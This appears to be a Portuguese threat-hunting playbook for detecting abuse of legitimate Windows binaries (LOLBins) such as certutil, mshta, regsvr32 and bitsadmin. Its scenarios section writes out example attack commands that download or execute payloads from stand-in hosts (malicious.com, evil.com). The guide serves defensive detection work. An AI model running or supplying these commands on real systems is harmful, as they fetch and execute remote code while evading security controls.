Caçando Binários Legítimos Usados para Fins Maliciosos (LOLBins)

Quando Usar

• Ao investigar campanhas de malware sem arquivo que burlam antivírus tradicionais
• Durante caçadas proativas de ameaças focadas em técnicas de evasão de defesa
• Quando alertas de EDR disparam em binários legítimos executando processos filhos incomuns
• Após relatórios de inteligência de ameaças indicarem abuso de LOLBin em campanhas ativas
• Durante exercícios de red team/purple team validando a cobertura de detecção para T1218

Pré-requisitos

• Acesso a telemetria de EDR (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
• SIEM com logs de criação de processos (Sysmon Event ID 1, Windows Security 4688)
• Familiaridade com a lista de referência do Projeto LOLBAS (lolbas-project.github.io)
• Logging de linha de comando do PowerShell habilitado (Module Logging, Script Block Logging)
• Logs de proxy de rede ou firewall para correlacionar conexões de saída

Fluxo de Trabalho

1. Definir Hipótese de Caçada: Formule uma hipótese baseada em inteligência de ameaças (ex: "Adversários estão usando certutil.exe para baixar payloads de segundo estágio de domínios externos").
2. Identificar LOLBins Alvo: Selecione binários específicos do banco de dados do Projeto LOLBAS para caçar, priorizando aqueles que correspondem ao cenário de ameaças atual (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
3. Coletar Telemetria de Processos: Consulte o EDR ou SIEM para eventos de criação de processos envolvendo os LOLBins alvo com argumentos de linha de comando incomuns, processos pais ou contextos de execução.
4. Estabelecer Comportamento Normal (Baseline): Defina como é o uso legítimo para cada LOLBin em seu ambiente, analisando a frequência histórica, processos pais típicos e argumentos padrão.
5. Identificar Anomalias: Compare a telemetria atual com os baselines, sinalizando execuções com conexões de rede, comandos codificados, caminhos de arquivo incomuns ou cadeias de processos pai-filho anormais.
6. Correlacionar e Enriquecer: Cruze a atividade anômala de LOLBin com logs de rede, consultas DNS, eventos de criação de arquivos e feeds de inteligência de ameaças.
7. Documentar e Relatar: Registre as descobertas, atualize as regras de detecção e crie listas de IOCs para o uso malicioso de LOLBin identificado.

Conceitos Chave

Ferramentas e Sistemas

Cenários Comuns

1. Cradle de Download com Certutil: O adversário usa certutil.exe -urlcache -split -f http://malicious.com/payload.exe para baixar malware, contornando proxies web que permitem tráfego do certutil.
2. Execução de HTA com Mshta: O atacante entrega um arquivo HTA por e-mail que executa um payload VBScript através do mshta.exe, que é um binário assinado da Microsoft.
3. Carregamento de DLL de Proxy com Rundll32: Uma DLL maliciosa é carregada via rundll32.exe shell32.dll,ShellExec_RunDLL para executar o proxy através de um binário confiável.
4. Squiblydoo com Regsvr32: Um arquivo SCT remoto é executado via regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll contornando a lista de permissões de aplicativos.
5. Persistência com BITSAdmin: O adversário cria uma tarefa de transferência BITS para baixar e executar payloads repetidamente usando bitsadmin /transfer.

Formato de Saída

Hunt ID: TH-LOLBIN-[DATA]-[SEQ]
Hipótese: [Hipótese declarada]
LOLBins Investigados: [Lista de binários]
Intervalo de Tempo: [Início] - [Fim]
Fontes de Dados: [EDR, Sysmon, SIEM]
Descobertas:
  - [Descoberta 1 com evidências]
  - [Descoberta 2 com evidências]

…